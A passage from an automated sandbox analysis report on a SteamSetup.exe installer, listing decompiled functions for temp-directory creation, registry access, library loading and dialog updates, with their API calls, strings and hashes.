wsprintfW.USER32 ref: 00402E06

Part of subcall function 004052DD: lstrlenW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 00405315
Part of subcall function 004052DD: lstrlenW.KERNEL32(00402E19,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 00405325
Part of subcall function 004052DD: lstrcatW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00402E19), ref: 00405338
Part of subcall function 004052DD: SetWindowTextW.USER32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\), ref: 0040534A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405370
Part of subcall function 004052DD: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405398

CreateDialogParamW.USER32 ref: 00402E2A
ShowWindow.USER32(00000000,00000005), ref: 00402E38

Part of subcall function 00402D83: MulDiv.KERNEL32(00018D36,00000064,0001E93A), ref: 00402D98

Strings

... %d%%, xrefs: 00402E00

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 8ee64202bb889ad073ab03690c1da717cfa73e4708a38b32ca01aecf011a85b8
Instruction ID: 67f39cb704aca6262626a7976268bb3bb8a333bdab68892006d91dd8afb4411f
Opcode Fuzzy Hash: 8ee64202bb889ad073ab03690c1da717cfa73e4708a38b32ca01aecf011a85b8
Instruction Fuzzy Hash: 96016D70541614EBC721AB60EF4DA9B7A68AF00706B14417FF885F12E0CBF85865CBEE

Uniqueness

Uniqueness Score: -1.00%

Function 004057AC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004057AC(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x004057b7
0x004057bb
0x004057be
0x004057c4
0x004057c8
0x004057cc
0x004057d4
0x004057db
0x004057e1
0x004057e8
0x004057ef
0x004057f7
0x004057f9
0x00000000
0x004057f9
0x00405803
0x0040580a
0x00405820
0x00000000
0x00000000
0x00000000
0x00405822
0x00405826

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004057EF
GetLastError.KERNEL32 ref: 00405803
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405818
GetLastError.KERNEL32 ref: 00405822

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057D2
C:\Users\user\AppData\Local\Temp, xrefs: 004057AC

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-1439210696
Opcode ID: 6ae7c342d9c1b50a082fcf4789916780a4d0616efa07736c5e287c1420eecf92
Instruction ID: b278f7ea68de5888e34302da86fdb06c438f4ef9b03e74a9ab654546e4f81ce2
Opcode Fuzzy Hash: 6ae7c342d9c1b50a082fcf4789916780a4d0616efa07736c5e287c1420eecf92
Instruction Fuzzy Hash: 89010871D00619DADF10DBA0D9447EFBFB8EB04304F00803ADA44B6190E7789618DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004064E8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004064E8(intOrPtr _a4) {
				short _v576;
				signed int _t13;
				struct HINSTANCE__* _t17;
				signed int _t19;
				void* _t24;

				_t13 = GetSystemDirectoryW( &_v576, 0x104);
				if(_t13 > 0x104) {
					_t13 = 0;
				}
				if(_t13 == 0 ||  *((short*)(_t24 + _t13 * 2 - 0x23e)) == 0x5c) {
					_t19 = 1;
				} else {
					_t19 = 0;
				}
				wsprintfW(_t24 + _t13 * 2 - 0x23c, L"%s%S.dll", 0x40a014 + _t19 * 2, _a4);
				_t17 = LoadLibraryExW( &_v576, 0, 8); // executed
				return _t17;
			}

0x004064ff
0x00406508
0x0040650a
0x0040650a
0x0040650e
0x00406521
0x0040651b
0x0040651b
0x0040651b
0x0040653a
0x0040654e
0x00406555

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004064FF
wsprintfW.USER32 ref: 0040653A
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 0040654E

Strings

UXTHEME, xrefs: 004064F1
%s%S.dll, xrefs: 00406534
\, xrefs: 00406510

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 3e72c25e5c980310d69f0fc98d502c706aefd7165560ee14c5a883ad11fb6337
Instruction ID: c6b4a3c42f63eea3762d57d51081eb848d485012b63e63803453d9912f42ff06
Opcode Fuzzy Hash: 3e72c25e5c980310d69f0fc98d502c706aefd7165560ee14c5a883ad11fb6337
Instruction Fuzzy Hash: 3AF0FC70500219BADB10AB64ED0DF9B366CAB00304F10403AA646F10D0EB7CD725CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404A99 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E00404A99(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				int _t38;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E004061A0(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E004061A0(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E004061A0(_t44, _t50, 0x423728, 0x423728, _a8);
				wsprintfW(_t34 + lstrlenW(0x423728) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				_t38 = SetDlgItemTextW( *0x429218, _a4, 0x423728); // executed
				return _t38;
			}

0x00404aa2
0x00404aa7
0x00404aaf
0x00404ab0
0x00404abd
0x00404ac5
0x00404ac6
0x00404ac8
0x00404aca
0x00404acc
0x00404acf
0x00404acf
0x00404ad6
0x00404adc
0x00404adc
0x00404ae3
0x00404aea
0x00404aed
0x00404af0
0x00404af0
0x00404af4
0x00404b04
0x00404b06
0x00404b09
0x00404ab2
0x00404ab2
0x00404ab9
0x00404ab9
0x00404b11
0x00404b1c
0x00404b32
0x00404b43
0x00404b56
0x00404b5f

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B3A
wsprintfW.USER32 ref: 00404B43
SetDlgItemTextW.USER32 ref: 00404B56

Strings

%u.%u%s%s, xrefs: 00404B24
(7B, xrefs: 00404B2C

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 81ae9ae8dc439d9931515dbc50321e52771afc0a6870d61e722dcea37f1a3983
Instruction ID: 8555a1dc09e6b234f76c08cd80d60a8511de1cbf1cdbca66d7a603e4fd23a7b2
Opcode Fuzzy Hash: 81ae9ae8dc439d9931515dbc50321e52771afc0a6870d61e722dcea37f1a3983
Instruction Fuzzy Hash: E911EB736441283BDB0095AD9C45F9E3298DB85378F150237FA26F71D1DA79D82286EC

Uniqueness

Uniqueness Score: -1.00%

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040237B(void* __eax) {
				void* _t17;
				short* _t20;
				int _t21;
				long _t24;
				char _t26;
				int _t29;
				intOrPtr _t37;
				void* _t39;

				_t17 = E00402CB4(__eax);
				_t37 =  *((intOrPtr*)(_t39 - 0x1c));
				 *(_t39 - 0x34) =  *(_t39 - 0x18);
				 *(_t39 - 8) = E00402BBF(2);
				_t20 = E00402BBF(0x11);
				_t33 =  *0x42a2f0 | 0x00000002;
				 *(_t39 - 4) = 1;
				_t21 = RegCreateKeyExW(_t17, _t20, _t29, _t29, _t29,  *0x42a2f0 | 0x00000002, _t29, _t39 + 8, _t29); // executed
				if(_t21 == 0) {
					if(_t37 == 1) {
						E00402BBF(0x23);
						_t21 = lstrlenW(0x40b5d8) + _t28 + 2;
					}
					if(_t37 == 4) {
						_t26 = E00402BA2(3);
						 *0x40b5d8 = _t26;
						_t21 = _t37;
					}
					if(_t37 == 3) {
						_t21 = E004030E7(_t33,  *((intOrPtr*)(_t39 - 0x20)), _t29, 0x40b5d8, 0x1800);
					}
					_t24 = RegSetValueExW( *(_t39 + 8),  *(_t39 - 8), _t29,  *(_t39 - 0x34), 0x40b5d8, _t21); // executed
					if(_t24 == 0) {
						 *(_t39 - 4) = _t29;
					}
					_push( *(_t39 + 8));
					RegCloseKey();
				}
				 *0x42a2c8 =  *0x42a2c8 +  *(_t39 - 4);
				return 0;
			}

0x0040237c
0x00402381
0x0040238b
0x00402395
0x00402398
0x004023a8
0x004023b2
0x004023b9
0x004023c1
0x004023cf
0x004023d3
0x004023de
0x004023de
0x004023e5
0x004023e9
0x004023ef
0x004023f4
0x004023f4
0x004023f8
0x00402404
0x00402404
0x00402415
0x0040241d
0x0040241f
0x0040241f
0x00402422
0x004024f6
0x004024f6
0x00402a4f
0x00402a5b

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsc3274.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsc3274.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsc3274.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

C:\Users\user\AppData\Local\Temp\nsc3274.tmp, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsc3274.tmp
API String ID: 1356686001-3745170611
Opcode ID: 67c77c8d659d9d4bc82cacddac1e216fe0077c84403bdf1d9c96e54a2d3d16bf
Instruction ID: d84b147cfae213de6894e87518a1957a70c03431d85ade02b305fde94438308f
Opcode Fuzzy Hash: 67c77c8d659d9d4bc82cacddac1e216fe0077c84403bdf1d9c96e54a2d3d16bf
Instruction Fuzzy Hash: E511C071E00108BFEB10AFA4DE89DAE777DEB14358F11403AF904B71D1DBB85E409668

Uniqueness

Uniqueness Score: -1.00%

Function 00405D82 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405D82(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				intOrPtr _v8;
				short _v12;
				short _t12;
				intOrPtr _t13;
				signed int _t14;
				WCHAR* _t17;
				signed int _t19;
				signed short _t23;
				WCHAR* _t26;

				_t26 = _a4;
				_t23 = 0x64;
				while(1) {
					_t12 =  *L"nsa"; // 0x73006e
					_t23 = _t23 - 1;
					_v12 = _t12;
					_t13 =  *0x40a584; // 0x61
					_v8 = _t13;
					_t14 = GetTickCount();
					_t19 = 0x1a;
					_v8 = _v8 + _t14 % _t19;
					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
					if(_t17 != 0) {
						break;
					}
					if(_t23 != 0) {
						continue;
					} else {
						 *_t26 =  *_t26 & _t23;
					}
					L4:
					return _t17;
				}
				_t17 = _t26;
				goto L4;
			}

0x00405d88
0x00405d8e
0x00405d8f
0x00405d8f
0x00405d94
0x00405d95
0x00405d98
0x00405d9d
0x00405da0
0x00405daa
0x00405db7
0x00405dbb
0x00405dc3
0x00000000
0x00000000
0x00405dc7
0x00000000
0x00405dc9
0x00405dc9
0x00405dc9
0x00405dcc
0x00405dcf
0x00405dcf
0x00405dd2
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00405DA0
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" ,004033B4,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00405DBB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405D87
nsa, xrefs: 00405D8F
"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" , xrefs: 00405D82

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\AppData\Local\Temp\SteamSetup.exe" $C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1246460527
Opcode ID: ba752c91d03ec01f63b9c4f62f06acfe59d2ba7d741f037e803b5e880a418ded
Instruction ID: a69a53d4b23f3d63feeda802a3e8a765614c71270742c911b33c62312df6cecc
Opcode Fuzzy Hash: ba752c91d03ec01f63b9c4f62f06acfe59d2ba7d741f037e803b5e880a418ded
Instruction Fuzzy Hash: 32F06D76600608BBDB008B59DD09AABBBB8EF91710F10803BEE01F7190E6B09A548B64

Uniqueness

Uniqueness Score: -1.00%

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401CFA() {
				long _t17;
				void* _t18;
				int _t22;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 0xc),  *(_t27 - 0x28));
				GetClientRect(_t25, _t27 - 0x54);
				_t17 = LoadImageW(_t22, E00402BBF(_t22), _t22,  *(_t27 - 0x4c) *  *(_t27 - 0x24),  *(_t27 - 0x48) *  *(_t27 - 0x24), 0x10); // executed
				_t18 = SendMessageW(_t25, 0x172, _t22, _t17); // executed
				if(_t18 != _t22) {
					DeleteObject(_t18);
				}
				 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401d06
0x00401d0d
0x00401d2e
0x00401d3c
0x00401d44
0x00401d4b
0x00401d4b
0x00402a4f
0x00402a5b

APIs

GetDlgItem.USER32 ref: 00401D00
GetClientRect.USER32 ref: 00401D0D
LoadImageW.USER32 ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 6491dc860a80c02085eecb14b1266a63ebbf57ab5d60057a90a3d7af6463b562
Instruction ID: c287ee2e14a47dfcdc45124cadc9b4dd0eb33b5564dd8f2f51e592e83ba53e14
Opcode Fuzzy Hash: 6491dc860a80c02085eecb14b1266a63ebbf57ab5d60057a90a3d7af6463b562
Instruction Fuzzy Hash: 33F0E172600504AFD701DBE4DE88CEEBBBDEB48311B104476F541F51A1CA749D018B38

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401BDF() {
				signed int _t28;
				WCHAR* _t31;
				long _t32;
				int _t37;
				signed int _t38;
				int _t42;
				int _t48;
				struct HWND__* _t52;
				void* _t55;

				 *(_t55 - 0x14) = E00402BA2(3);
				 *(_t55 + 8) = E00402BA2(4);
				if(( *(_t55 - 0x18) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x14)) = E00402BBF(0x33);
				}
				__eflags =  *(_t55 - 0x18) & 0x00000002;
				if(( *(_t55 - 0x18) & 0x00000002) != 0) {
					 *(_t55 + 8) = E00402BBF(0x44);
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x30)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t50 = E00402BBF();
					_t28 = E00402BBF();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t31 =  ~( *_t27) & _t50;
					__eflags = _t31;
					_t32 = FindWindowExW( *(_t55 - 0x14),  *(_t55 + 8), _t31,  ~( *_t28) & _t28); // executed
					goto L10;
				} else {
					_t52 = E00402BA2();
					_t37 = E00402BA2();
					_t48 =  *(_t55 - 0x18) >> 2;
					if(__eflags == 0) {
						_t32 = SendMessageW(_t52, _t37,  *(_t55 - 0x14),  *(_t55 + 8)); // executed
						L10:
						 *(_t55 - 8) = _t32;
					} else {
						_t38 = SendMessageTimeoutW(_t52, _t37,  *(_t55 - 0x14),  *(_t55 + 8), _t42, _t48, _t55 - 8);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t55 - 4)) =  ~_t38 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x2c)) - _t42;
				if( *((intOrPtr*)(_t55 - 0x2c)) >= _t42) {
					_push( *(_t55 - 8));
					E004060C5();
				}
				 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t55 - 4));
				return 0;
			}

0x00401be8
0x00401bf4
0x00401bf7
0x00401c00
0x00401c00
0x00401c03
0x00401c07
0x00401c10
0x00401c10
0x00401c13
0x00401c17
0x00401c19
0x00401c66
0x00401c68
0x00401c73
0x00401c7d
0x00401c80
0x00401c80
0x00401c89
0x00000000
0x00401c1b
0x00401c22
0x00401c24
0x00401c2c
0x00401c2f
0x00401c57
0x00401c8f
0x00401c8f
0x00401c31
0x00401c3f
0x00401c47
0x00401c4a
0x00401c4a
0x00401c2f
0x00401c92
0x00401c95
0x00401c9b
0x004029f2
0x004029f2
0x00402a4f
0x00402a5b

APIs

SendMessageTimeoutW.USER32 ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 298dafdcb9fb76c6349735f3086c7c7de60bc97eebb8a6152003ba88438aff8e
Instruction ID: 9ab6cbc1baff8286944736a18d7265b6422843b7a732a624d4201333bc7942cf
Opcode Fuzzy Hash: 298dafdcb9fb76c6349735f3086c7c7de60bc97eebb8a6152003ba88438aff8e
Instruction Fuzzy Hash: F2219071940209BEEF01AFB5CE4AABE7B75EF44744F10403EFA01B61D1D6B88A409B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040604B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040604B(void* _a4, int _a8, short* _a12, int _a16, void* _a20) {
				long _t20;
				long _t23;
				long _t24;
				char* _t26;

				asm("sbb eax, eax");
				_t26 = _a16;
				 *_t26 = 0;
				_t20 = RegOpenKeyExW(_a4, _a8, 0,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
				if(_t20 == 0) {
					_a8 = 0x800;
					_t23 = RegQueryValueExW(_a20, _a12, 0,  &_a16, _t26,  &_a8); // executed
					if(_t23 != 0 || _a16 != 1 && _a16 != 2) {
						 *_t26 = 0;
					}
					_t26[0x7fe] = 0;
					_t24 = RegCloseKey(_a20); // executed
					return _t24;
				}
				return _t20;
			}

0x0040605b
0x0040605d
0x0040606a
0x00406075
0x0040607d
0x00406082
0x00406096
0x0040609e
0x004060ac
0x004060ac
0x004060b2
0x004060b9
0x00000000
0x004060b9
0x004060c2

APIs

